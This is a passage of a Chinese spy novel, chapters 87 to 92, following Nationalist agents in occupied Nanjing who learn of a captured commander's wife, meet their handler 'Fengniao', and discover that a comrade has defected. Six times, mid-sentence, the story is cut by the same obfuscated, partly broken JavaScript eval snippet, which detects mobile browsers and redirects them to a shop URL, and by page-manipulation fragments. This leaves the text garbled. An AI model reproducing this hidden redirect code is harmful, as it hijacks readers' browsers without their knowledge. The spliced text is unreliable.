曲思秋立即手抚额头,一副恍然大悟的样子:“我都忘了……” 曲怀齐转而拉住林赤的手,亲切地道:“你的伤好了吧?” 林赤点点头,也亲切地叫道:“叔叔好。”并向柳兰及她身后的曲怀远一一问好。 曲思秋撒娇地扑向曲怀远,曲怀远爱抚地拍拍她的肩。 柳兰也上前拉着林赤的手:“怎么这么巧,你认识咱们思秋?” 曲思秋和伯父亲昵地打完招呼后,又站在林赤身旁,这时接话道:“我收留他,我哥没和你们说?” “你哥那么忙,整天见不到人影,他哪有空说这事?”曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259596|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀齐道。 柳兰腾出一只手,牵起了曲思秋,看看女儿,再看看林赤,意味深长地笑着。 母女心灵相通,曲思秋已然明白母亲的意思,脸上马上飞过一朵红云,心中又害羞又激动。林赤被柳兰的目光看得不好意思,连忙挣脱她的手,把探寻的目光投向了曲思冬的身后。 曲思冬的心忽然“咯噔”一下沉了下来。 曲思冬明白,林赤是在找寻秦素芬的身影。 果然,林赤的眼睛搜寻了一会,便紧紧盯着曲思冬,目光透着冷峻。 “我托你保护的人呢?” 曲思冬也盯着林赤,没有回答。 “我跟你讲话呢,曲思冬!”林赤忽然提高了声音。 所有人都不再说话,立即将目光投向他们。 曲思秋也不知道发生了什么,但见林赤话语严厉,便轻声插话道:“你让我哥保护谁呀?” 林赤没有回答她的话,继续盯着曲思冬看。 现场的气氛忽然凝固起来,除了曲思秋,所有人都知道林赤指的是谁。 小野二郎不知何时已走到人群之中,他仗着和林赤的熟稔,想极力打破尴尬而沉闷的气氛,说道:“林大哥,她……她被日本人抓走了!” 林赤自从见到他们后,目光一直在寻找秦素芬。林赤从看到曲思冬第一眼后,就已发现他的目光一直在躲藏着什么,完全没有以往的乐观和自信,林赤已隐隐感到秦素芬一定出事了,只是无法证实,现在,答案被小野二郎揭晓,林赤的最后一丝希望破灭了,他的心被严实的黑暗包裹,挤压得他喘不过气来! 本小章还未完,请点击下一页继续阅读后面精彩内容! 第87章 蜂鸟 云横紫金山,夕照深山里。 一众人以这样的方式诀别了相濡以沫的紫金山。 曲思冬带着他的队员很快消失在夕阳的余晖中,从此,他们将直面未来的坎坷与艰辛,直面更多无法预知的生与死。 林赤开车带曲思秋一家返回城里,也投身于命运多舛的另类战场。 两位因为战争而相识相知的兄弟就这样分开了,他们甚至没有恋恋惜别。或许,在他们的心中,未来,永远是美好的期待。 林赤并未从原路返回,而是舍近求远,兜了一大圈,取道了中华门。 曲思秋原来的家在三条巷。 一条青石板小巷,弯弯曲曲迂回于南方冬日黄昏的薄雾中。林赤将车停在巷头,提着装有电台的木箱,带着曲怀齐夫妇及曲怀远来到巷内一栋陈旧的庭院内,推门而入,尘埃一哄而散,在残红的阳光下升腾飞舞。 曲思秋经过思索后,还是将电台留在了家里。 林赤于是和他们握手告别。 曲思秋拒绝了父母的挽留,决意要和林赤一起回诊所。 出了深巷,已是暮霭沉沉。 …… 林赤和曲思秋回到利民诊所时,夜色阑珊。赵楷还没有走,依旧留在诊所陪着陶楚歌。林赤和曲思秋的再次出现,让两人都松了一口气。陶楚歌手指指楼上,示意钉子已被转移到了诊所二楼。 一张简易的床上,躺着钉子。钉子醒了,面色已渐渐红润,他的身旁,坐着曹响亮。见到林赤他们进来,曹响亮连忙站起身,钉子吃力地点了点头,并想伸手和林赤打招呼,被林赤立即制止。林赤拉了一张凳子在钉子床前坐下,问道:“感觉怎么样?” 钉子微微一笑。曲思秋上前摸了摸钉子的额头,轻声说道:“烧退了,问题应该不大,待会儿我和楚歌给他手术。”说完就下了楼梯。 “听这位小曹说,你去执行另一件任务去了,还顺利吗?” “有惊无险。”林赤淡淡说道。 “具体接头的方式,锤子没和我说起。”曹响亮已经询问过钉子接头的相关事宜,所以钉子很清楚此时的新年同志,最想知道的就是关于如何与匕首对接的详细方法。 林赤大奇,但不便详问。想了想对曹响亮说道:“你和老赵去照相馆待着,说不定会有人前来找我。” 曹响亮应了。 小曹走后,林赤道:“我中午去执行的一件任务,和你的抗战大队有关。” “哦?”钉子一惊,“是不是他们被鬼子盯上了?” “今天中午,鬼子二百多人,估计足足一个中队,对紫金山进行了围剿。” “这么快!”钉子面色紧张,“结果呢?他们突围了吗?” “你放心,他们已安全转移,曲队长跟我说,他们准备向牛首山一带挺进,伺机寻找新的根据地!” 林赤知道钉子此时有太多的疑问想了解,只是身体虚弱,无法顺利和林赤对话,便主动娓娓道来:“今天大华百货店的启动非常及时,门一打开我们就在地上发现了‘匕首’传递出来的情报,这份情报就是鬼子马上要重兵围剿我们南京尚存的武装,事态紧急,我于是立即前往报信……” “你怎么会认识曲思冬队长?”钉子好奇道。 “我伤病期间,正是他一家救的我,因此我也认识了曲思冬。” “你就是那位林先生?”钉子若有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259597|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所悟。 “是的,我叫林赤。” “原来如此!”钉子吁了一口气,又问:“那位秦素芬和电台都是你托办的?” “秦素芬的事我已向锤子汇报过,但电台的事没有,因为这部电台与我们无关,是我此次上海之行别人托付给我,让我替他们捎带到南京的。”既然钉子已经知道了电台的事情,林赤没有必要再相瞒,便如实相告。 钉子却不再提电台的事,只是道:“曲思冬他们伤亡如何?” “损失已降到最低限度,只有几名士兵受伤,没有阵亡!” “太好了!”钉子感叹道,“你是怎么做到的?” 林赤于是将此次的经过详细告诉了钉子,但忽略了出城通行证获取的过程。钉子听完后由衷赞叹道:“林副站长真是有勇有谋。” 林赤也有疑问,问道:“你是如何把原来在紫金山一带的幸存武装及时组织起来并收编了的呢?那支武装我碰到过,他们和鬼子的巡逻队干过一仗,但他们行踪飘忽,无任何规律可循啊!” “哦,你说这事啊!”钉子脸上飘过一丝得意,补充道:“我们的组织在军中都有渗透,他们有一位军官就是我们体系内的,自南京沦陷后,他就通过特定的渠道找到了我……” 轮到钉子发问了:“那位刘旅长的夫人秦素芬你带回来了吗?” 林赤沮丧道:“曲队长在突围时,把她弄丢了,现在已经被日本人抓走了……” 钉子眼睛看着屋顶,沉默好一会儿,说道:“这个旅长夫人很难伺候,脾气还大,不是因为她,凌队长他们也不会死!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第88章 庆功宴 秦素芬的被抓意味着营救刘云雄已迫在眉睫。 在敌我双方的对弈中,一旦成为对方的俘虏,在某一方身陷牢笼、成为阶下囚后,对于位高权重者,结局不外乎两种,一是慷慨赴死,一了百了;二是变节,为对方所用。敌人显然不想让刘云雄死,否则他们没有必要将秦素芬押解到南京,他们给刘云雄准备的是第二条道路,那就是策反之,为己所用! 无论如何,秦素芬的被抓,则说明敌人为达到策反他的目的又多了砝码,而且这砝码分量很重。秦素芬的出现,极有可能会撕破刘云雄最后一道心理防线。 锤子和林赤陷入了久久的沉默。 “我今天早晨为了刘云雄的事请示过重庆,可我怕电台一直开着容易暴露,再说这样的事情重庆方面必定层层请示,短时间内肯定答复不了,就很快把电台关闭了,所以也不知道重庆有没有回复。”锤子道。 “我个人认为不管重庆答复与否,怎么答复,我们都应该设法营救,于情于理,我们不能弃之不管!”林赤坚定说道。 “我同意!”锤子附和。 林赤连忙道:“那好,这件事我们二人已经统一,等到钉子同志身体稍好后,我再征求一下他的意见,如果咱们三人得到一致,我们就按自己的方式操作。” “好,钉子我就不去见他了,那里人多眼杂,你代我向他问好!” “没问题。另外,我明天和蜂鸟同志见面后,这件事我顺便再请示一下他。”林赤见到锤子起身,一边跟着站起一边补充道。 锤子走了,不一会儿赵楷带着食物来了。 十来只白馒头,外加一份炒鸡蛋,一份炒肉丝,这是所有人的晚餐。 林赤和赵楷提着食物来到诊所,钉子身上的子弹已被顺利取出,已疲惫地睡去。 五人将食物放在桌上,馒头就菜,开始享受着饥饿后食物所带来的愉悦。 与此同时,在黄浦路的松机关,原先南京中央陆军军官学校的军官食堂里,十来张餐桌被拼在了一起,组成了一个长方巨形餐桌,上面对称整齐摆放着八只白色搪瓷盆,里面盛装着清一色固城湖红膏蟹,除此之外,桌面空地上,摆满了各式各样的菜品,有烧鸡、烤鸭、卤牛肉、红烧肉,以及各类时令冬季蔬菜。 松机关的所有人员济济一堂,正享受着久违的饕餮大餐。 围坐在桌旁的,除了松机关的三十多人外,还有黑木特邀的三位宾客,下关区公所的薛飞风、秦淮区公所的丁易白、鼓楼区公所的池碧疆。本来,南京自救会会长陶天阙也在邀请之列,不过他推脱身体有恙,未能赴约。 这样的宴会,是以庆功的名义操办的,起因是因为丁易白馈赠黑木的一筐红膏蟹,本意是慰劳松机关的将士,然而因为时机的巧合,打着围剿胜利的旗帜,破格成为了庆功最好的由头。但在黑木的内心,是万万不会承认此次围剿的成功。自从帝国军队占领南京后,几乎其他所有的军事主体都在一路高歌、捷报频传,唯有他的松机关,低徊不前,似乎看不到胜利的曙光,将士们一片消沉,就连南京各大区公所这些松机关的托管机构,都了无生气,因而,黑木思来想去,还是觉得有必要聚合一下,况且新年元旦即将来临,这样的聚会,联络情感是其次,主要还是激发大家的斗志。 白天的紫金山围剿,黑木一直以为胜券在握,可是却被不明的两次手雷袭击,打乱了预定的部署,给敌人争取到了逃窜的时机。好在有两点值得黑木欣慰,其一,他们又抓到了260旅刘云雄旅长的夫人秦素芬,秦素芬对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259598|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于他人可能仅仅是个俘虏,但对于他松机关却是意义非凡,因为她的出现,却意外争取到了刘云雄的投诚的可能性,作为敌方的一名高级将领,策反他并为自己所用,将给他的松机关添上浓墨重彩的一笔。其二,在残敌逃窜后,黑木又组织了针对紫金山区域更密集的清剿,事实证明,在这片山地里,只有刚刚逃之夭夭的那一小股敌军残余,并不是像他原先预料的有一百人之多,充其量也就三十来人,这么区区小数,根本不足挂齿,犹如蚊蝇,对庞大的大象根本构不成伤害! 自从黑木想明白了这些后,他的心情异常愉快。 在这个冬日的夜晚,偌大的食堂四个角落生着熊熊的炭火,房间里温暖如春。每个人的门前,均斟满了后勤机关提供的清酒。没有人动筷,眼光均看着黑木,期待他快快讲话,好开始大快朵颐。 黑木咳嗽一声,手举酒杯站了起来,说道:“在这个寒冷的夜晚,在远离帝国的中国南京的这片土地上,我黑木瞳谨代表帝国,代表天皇陛下,代表南京的最高司令官松井石根大将,同时也代表我本人,首先对出席今晚庆功宴的薛桑、丁桑、池桑三位贵客表示由衷欢迎……” 掌声雷动。 黑木继续说道:“在今天白天,我大日本皇军对南京东郊的紫金山一带的残敌进行了彻底的围剿,历时三小时,结果大获全胜!这样的胜利,虽然只是小胜,但接下来我们还将面对更残酷的斗争,对敌斗争,不仅局限于正面战场,而在情报战线上,同样硝烟弥漫,所以在此,我特地要对远离故土的松机关的帝国将士要说一声谢谢,正是 你们的浴血奋战,无畏生死,才换得帝国一次又一次的胜利,你们辛苦了!”黑木弯腰鞠了一躬。 这章没有结束,请点击下一页继续阅读! 第89章 如约而至 悦颜照相馆经过一段时间的筹备,可以开门揖客了。 第二天一大早,陶天阙用完了早餐,便给松机关去了电话。接电话的是渡边雪奈,她听对方自报家门是南京自救会的会长陶天阙,忙问:“阁下找谁?” “我找黑木机关长。” 渡边便推说黑木外出办事了。 其实此时的黑木,依旧烂醉未醒。昨夜觥筹交错,作为主角的黑木,架不住众人轮番的敬酒,酒席尚未结束就已醉态百出,最后还是川上麻衣将其架回了房间。 “阁下有什么事不妨跟我说?” 陶天阙于是便把照相馆可以开张的讯息告知了渡边。 照相馆的开张,则意味着良民证的办理已迈出实质性的一步。 黑木不在,渡边雪奈去了川上麻衣的办公室,将此消息报告了他。两人研究后,草拟了一份良民证办理告示,并决定安排南京三大区公所在全城范围内张贴,告示中特地交待,如果没有免冠照片的市民,可前往中山中路215号悦颜照相馆免费拍摄。 渡边又给陶天阙去了电话,让南京自救会抽调人手,成立一个良民证干事处,协助该事项的办理。陶天阙电话中显得很为难,渡边心中不悦,便问:“难道陶会长有什么困难?” “我们南京自救会是个由南京市民自发组织的民间机构,根本不似其他区公所,具有合法的政府背景,如此,在具体经办过程中一定诸事不顺!” 渡边一下子轻松起来,她本以为自己人微言轻,陶天阙不买她的账,现在方知他其实另有隐情,便道:“这一点陶会长不必多虑,松机关已经着手仿效上海,成立了东亚大统同盟会,但凡与我们政治主张一致者,我们均可颁发此证!” “如此甚好。” “给你三个名额怎么样?你自己把关人选,这是我给你最大的权限了,其他譬如几大区公所都无此待遇,他们的证件都是由我松机关统一审核,亲自颁发的。” 渡边一直觉得这位早年留学过日本的老先生为人清傲,特立独行,根本不会将她渡边雪奈放在眼里,女人特有的征服欲强烈驱使着她,要尽快感化他为己所用,因此正好利用此次机会,施以恩惠。 “那我谢谢渡边小姐了!” 对方果然道了声谢,渡边心情大好,接着道:“你是安排人来取还是我让人给送过去?” “还是不麻烦渡边小姐了,我这就安排人前往。” …… 林赤夜里并未回陶府,而是向曲思秋要了一床被子,和曹响亮在照相馆的沙发上凑合了一晚。第二天早上,林赤醒来,先去了利民诊所,曲思秋和陶楚歌已经起床。林赤上楼,钉子也醒了,气色很好,林赤悬着的一颗心终于放下了。 林赤将昨晚锤子来过、并要求他替锤子向他问了好的消息告诉了钉子。 “他有没有告诉你如何与匕首接头?”钉子关切地问。 林赤本不想将蜂鸟与自己接头的消息告诉钉子,蜂鸟指名道姓让自己前往“木屋居”接头,便是不愿让太多的人知晓他的身份,但林赤转念一想,钉子毕竟是南京情报站的核心之一,刻意隐瞒只能增加同志之间的嫌隙,便回答道:“重庆方面已安排一名代号蜂鸟的同志前来南京,今日抵达,我将会前往和他见面,由蜂鸟同志传达具体接头方式。” “哦,这就好。” “还有一事,重庆对营救刘云雄一事迟迟没有指示,我昨夜已和锤子统一了意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259599|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见,我们的意见是一定竭尽所能,尽快营救,我现在想知道你的想法。” “我没问题,完全同意你们的做法!刘旅长毕竟是党国精英,如果我们弃之不顾还怎么向国人交待?再说,刘旅长一旦倒戈,那后果将是灾难啊!” 林赤得到钉子的答复后,更坚定了营救刘云雄的决心。 下了楼,陶楚歌抱怨道:“这个赵楷,到现在了也不过来给我们送些吃的!我和他明明讲好了!” 一个小时后,赵楷匆匆赶来,一下车就拎着早点跑进利民诊所,一脸歉意:“不好意思,让大家挨饿了,临时被陶会长安排去办一件事,这才耽搁了!” “我看你是根本不在乎我们吧,饱汉不知饿汉饥,况且我们还有位病人呢!” 赵楷一再道歉,陶楚歌依旧穷追猛打,林赤提醒道:“要尊重长辈!” 陶楚歌不屑道:“什么长辈,你和他称兄道弟,你这不是明摆着要占我便宜啊!” 林赤依旧一本正经道:“本来就是,以后你得随赵楷叫我叔叔呢!” 陶楚歌马上回击道:“你别乱了辈分,只要思秋姐喊你叔,我倒也不在乎多一个叔叔!” 曲思秋正从楼上给钉子换完药,下楼梯时听到了这一番话,忙道:“他哪里有做叔叔的样子,见面礼不但没有,相反,上次还拿了我几十块法币,到现在都没提还的事。” 林赤本不善言辞,在两位女孩的轮番攻击下,已经露出败象,正不知如何全身而退,赵楷拉着林赤,笑道:“你们稍后再向他讨要红包,我和你们的叔叔还有事情商量。”说完,放下手中的早点,拉着林赤走出门外。 这章没有结束,请点击下一页继续阅读 ! 第90章 最新指示 林赤忽然明白,那位女侍者给他传递了蜂鸟已至的信息。 蜂鸟已到木屋居,而且就在八号包房。 林赤看到那位女侍者静静地站在吧台前,目光有意无意地注视着他。林赤招了招手,并未开口,她果然疾步走了过来。 “先生需要什么?”她依旧笑盈盈问道。 林赤这才注意看她,年纪和林赤相仿,脸型偏瘦,面容姣好,扎着马尾辫,在嘴唇上方恰到好处长着一颗淡淡地美人痣。 “我等的客人应该到了,请问八号包房怎么走。” “喏,在那里。”女侍者指了指楼梯口的一间包房说道。 林赤道了声谢谢,起身移步前往,他感觉到此时包房应该有双眼睛在看他,这个人应该认识他。 会是谁呢?林赤暗暗想。 八号包房是一间独立包房。 轻轻敲门,里面马上传出一个磁性的声音,似乎是个中年人。 声音果然熟悉,但林赤没有时间多加考虑。 林赤拉开木门,里面的人马上站起来迎了上来。 何尚武!南京中央陆军军官学校的教官何尚武! 林赤惊喜轻声喊道:“何教官,您怎么来了?” 来人正是原南京中央陆军军官学校的上校教官、现复兴社特务处的二号人物、一号人物戴处长的同乡、特务处的副处长何尚武,他的代号蜂鸟。 何尚武面色坚毅,目光深邃,他的手有力地握住林赤。 “林上尉,好久不见!”说完何尚武亲切地在林赤的胸口重重捶了一拳。 伤口并未好透,隐隐还有些痛,林赤本能地躲闪一下,拳头从胸前滑过,卸去不少力道。 “怎么啦?受伤了?”何尚武目光犀利。 林赤在他身边坐下,说道:“我们教导总队奉命在紫金山南线阻击日军,被小鬼子的子弹咬了一口,不过现在已无大碍。” “那就好!”何尚武蹙着的眉头舒展开来,“你可得好好的,我们还有很多事需要你去做呢!作为南京的行动处处长,你有个好歹,那岂不是群龙无首?” “既然教官亲临南京,你就是我们的龙首,以后我们都听教官的。” “那怎么行?我的战场不在此地!我是顺道路过南京。” “路上还顺利吗?”林赤关切问。 “我现在的身份是日本驻重庆领事馆的文化处的副处长,南京只作短暂逗留,计划明日赶往上海。以后,沪宁两城我们将联手并肩作战!” “这么说,教官此去上海,是领导上海的情报战线?” “是的,抗战期间,沪宁两地的情报系统由我统一领导,全权负责!这两个地方,从来就联系紧密,而情报资源犬牙交错,有着千丝万缕不可分割的特性,完全可以做到共享,鉴于此因,重庆方面特委派我前来加强管理,并做好长期战斗的准备。” “这个想法太及时了!”林赤由衷赞道,“我前些日子去了趟上海,在对刘云雄旅长被捕这件事上,总部的反应太迟缓,导致我们无法及时决策,很多机会就这样白白浪费。现在好了,统一的指挥可以更有效更彻底的打击敌人!” “是啊,正是因为现在我们面临全民抗战的特殊时期,我动身之前,重庆的复兴社也在进行必要改组,摒弃臃肿,精简瘦身,坚决遏制决策效率低下之弊端。” “怎么改法?”林赤饶有兴趣问道。 “特务处不久将从复兴社独立出来,听说将改名为国民政 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259600|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府军事委员会调查统计局,简称军统,由戴处长出任军统局局长,隶属军事委员会,直接对蒋校长负责。” “这真是一大进步!”林赤接着道:“这是不是意味着军统局的权限将进一步扩大?” “完全可以这样理解!校长一直器重我们戴处长,况且二人同为浙江老乡,信任更是非他人可及,这样一改,军统局几乎成了校长的御用部门,其他无人可以染指。” “如此再好不过。” 何尚武端起咖啡杯,浅呷了一口,忽然发现还没给林赤点东西,一脸歉意,连忙站起拉了拉门后的摇铃。 “真是疏忽,林上尉……这么叫有些见外,林弟……对,我们以后兄弟相称,如何?” “好的,何大哥!”林赤接口道。 “林弟要吃点什么?”何尚武接着刚才的话问道。 刚刚的那位女侍者敲门进来,也不讲话,站在桌旁看着二位。 “既然刚才这位姑娘向我推荐了他们的鳕鱼寿司,不妨就来一份吧。”林赤一边说一边盯着她看。 “好的,马上给您上。”女侍者说完正准备出门,被何尚武叫住。 “若陶,你留步。” 女侍者一脸诧异,回头道:“先生有什么吩咐?” 何尚武呵呵一笑:“若陶,我们的这位兄弟是何等聪明之人,就没必要瞒他了。” 女侍者不好意思地笑了笑,向林赤伸出一只手,“认识一下,我叫刘若陶。” “他代号新年。”何尚武赶紧介绍,又对林赤道,“这位刘小姐原是我电讯班的学生,身手不错,我就把她作为一颗钉子扎在这里,关键时候再行启用!” 这章没有结束,请点击下一页继续阅读! 第91章 有惊无险 蜂鸟的如约而至,林赤仿佛是从千丝万缕的乱麻中找到了一根线头。 顺着这根线头,林赤接下来要做的就是把这团乱麻逐渐理顺。 无论是以前的复兴社还是即将改名的军统局,在对于南京沦陷的这件事上,可以说一直估计不足,高层的决策摇摆导致信心动摇,在日本人发动第二次淞沪会战伊始,从开始阶段顽强相持,到后来的一溃千里,当局的决策层才忽然意识到南京已危如累卵,尽管如此,另外一种声音甚嚣尘上,那就是南京完全可以固守,这样的说法现在看来犹如梦呓,或者说是痴人说梦,但局中者大多喜欢这样的决心。 唐生智司令说,誓与南京共存亡! 蒋校长心想,堂堂一国之都,在不做最后的抗击就仓皇撤离,实在是有失大国风范,会被世人耻笑,徒留话柄。 因而奇趣的是,一面在有序撤离,一面是在积极准备抗战。这种景象本身对一线将士来说,不啻于钝刀割肉,信心的凝聚更是空谈,没有了信心又何谈胜利?然而,没有人甘心承认即将逼近的失败,这在当时是一种极其有趣的现象,所以,就连当时最大的特务组织复兴社,在搬迁到重庆之前,预判也严重不足,甚至在撤离时,未做充分的布局,就一走了之。直至事实摆在眼前,日本人在攻占南京后,不但大肆掠夺,而且进行了惨绝人寰的血腥屠杀,他们才幡然醒悟,悔恨于当初的仓促和粗心,导致这座城市可用的情报资源太匮乏。 林赤就是在这样的情形下被招聘上岗了。 上岗后的林赤才发现,这座城市的情报战线,百废待兴。 情报战线的经营,无外乎这么几点,一是,建立完整而系统的情报网络;二是,渗透领域广;三是必须在敌人的要害部门安插眼线,获取高价值的情报;四是具备高效的执行力。 林赤通过梳理后发现,目前的情报网络只是局限于几个“点”,远未到“面”的层次,其二,除了还未联系上的“匕首”,他们在敌人的内部没有更多的眼线,几乎是两眼一抹黑;其三,信息的传递太低效,很多事情上,必须亲力亲为。 一定要改变这样的局面!林赤在前往月息路的途中,一直在思考这个问题。 通知完锤子晚上在钟山大饭店与蜂鸟见面的事宜,林赤又赶到大华百货店见了董德奎,将那本石版《西游记》和装有接头暗语的信封交给了他,并一再叮嘱不但要保管好这本书,还要亲自上阵,制定和匕首接头的计划。 再次回到悦颜照相馆,已经是下午三点多钟。 悦颜照相馆门前,排队的长龙蜿蜒数百米。 免费照相的消息不胫而走,这在当下的南京城无异于一阵清风,很快消弭了蔓延在人们心头的阴霾。照相在当时本是就是稀罕的新兴事物,更是一种奢侈的消费,很多人只是听闻有一种神奇的技术,可以将人的容颜丝毫不差地印在一张白色的硬纸上,不料这样的好事现在让自己撞上了,因而,有不少人为了怕这家照相馆反悔,竟然撕下了张贴的告示作为证据,看你还敢抵赖不?! 林赤走到照相馆门前,看到里面多了几张陌生的面孔,定是赵楷找来帮忙的赤盟会的弟兄,他们在赵楷的统一协调下,登记、拍照、发放取照凭证……一切显得有条不紊。 林赤挤进照相馆和赵楷打了招呼,刚想搭把手,被赵楷拒绝了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259601|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这些琐碎的小事,你就别插手了,你忙你的去吧。” 林赤忽然想起了曹响亮,便问赵楷:“小曹呢?” “我在楼上呢!”曹响亮在二楼答道,“我在布置冲洗暗房。” 林赤哦了声,也不客气,信步来到隔壁利民诊所,诊所里已经有了几位病人,曲思秋和陶楚歌忙碌异常。林赤和他们笑笑,上了二楼,钉子坐在床上,正闭目养神,林赤的到来让他不再孤寂。林赤向他简单地通报了已与蜂鸟接上头的讯息,钉子一下子显得神采飞扬起来。 “我和锤子决定今晚和蜂鸟碰头,一起研究下一步的行动,本来想叫上你的,可是你行动不方便。”林赤坦诚相告。 “你们去就行了,有我的任务转告给我即可。” “自即日起,蜂鸟同志将领导我们南京和上海两地的情报工作。” “他以后常驻南京了?”钉子问。 “那倒不是,他一两天将前往上海,通过上海的电台指挥我们。”林赤说。 钉子还想问话,忽然听到楼下的大门被重重地推开了,一个声音惶急问道:“林赤呢?” 是赵楷。 “他在楼上,怎么啦?看你紧张的!”是陶楚歌的声音。 “发生什么了?”曲思秋焦虑地追问。 接下来林赤已听不到他们的对话,他们把声音压得很低,不一会儿,楼梯上响起急促的脚步声,曲思秋上到二楼,神态有些慌张。 林赤这时已经站起,回头向楼梯下张望,却见赵楷已经走了。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第92章 租借人才 赵楷很快回到诊所,一进门便迫切的问:“林赤他们藏哪儿去了?” “日本人走了?”曲思秋问。 “我亲眼看到他们登上了汽车。” 曲思秋悬着的心终于落下了,连忙带赵楷上了二楼,打开窗户,赵楷跟着来到窗旁。 “帮我一下,老赵。”林赤把钉子的手送到赵楷面前。 “你们这样也行?”赵楷用力架起钉子,林赤再推上一把,钉子翻过窗户回到房间,林赤跟着越了进来。 钉子还在思索着什么,目光和林赤对视后呐呐道:“刚才楼下的那个中国人的声音我越听越耳熟,这个人我应该在什么地方见过!” “你是说那个叫李泉的?”林赤问道。 “他叫李泉?”曲思秋道,“他去病房看望过你,当时还带了一篮苹果?” “就是他,当时他自称李泉。” “名字倒不熟,但这个人我一定见过。”钉子接过话茬。 正在这时,曹响亮在楼下气喘吁吁地道:“林大哥呢?” 陶楚歌:“都在楼上呢。” 曹响亮三两步爬上楼梯,看看林赤,再看看钉子,欲言又止的样子。 赵楷连忙说道:“店里人多,我得看看去。”说完和曲思秋下去了。 “我看见李飞了!”曹响亮脸色严峻,“在照相馆的二楼,我看到楼下来了一群日本人,其中就有他,他是唯一没穿军服的。” “你该不会说的是李泉吧?”林赤问。 “他不叫李泉,他叫李飞。”曹响亮坚定的说,目光转向钉子:“你不记得了?有一天夜里,董处长……就是董德奎曾带着我们去找过你,你给我们布置任务呢……李飞和我们一起!” “哦!”钉子恍然大悟,又道:“这之后我和他还见过面……对了,那次有个日本司令官……后来听说叫松井石根——进入南京城,我和董德奎指派他和另外两名战士一道执行刺杀任务……” “对!董处长曾经说起过这事,都以为他殉国了呢,为此我们还难过了好几天。”曹响亮抢着插话道。“原来他没有死!居然还跟日本人待在了一起!” “他一定是叛变了!”林赤淡淡道。 “他奶奶的,这个汉奸!”曹响亮气愤地骂道。“改天让我见到一定取他的狗命!” “前不久我们一个联络点的暴露与他也有关系。”林赤接着说。沉吟一会,林赤忽然对钉子说道:“董德奎的大华百货店他了解多少?” “这必须亲自问问老董!” 曹响亮道:“大华百货店他应该不知情,那里也是董处长最近才带我们去的,以前我们见面都在其他地方。” “这么长时间了,大华百货店一直没有暴露,说明他确实不知道这个联络点。”钉子想了想说。 “你和这个李飞很熟?”林赤再问曹响亮。 “也不是特别熟,只是经常一起谈天,他说过是苏州人……对了,他还说了他有个表哥在什么医院……” “应天教会医院?”林赤道。 “对对!应天教会医院!”曹响亮忙不迭声道。“你怎么知道?” “这就对了……”林赤若有所悟,断然道:“不行,我还是得去一下,亲自求证老董,切断和他的一切联系!” …… 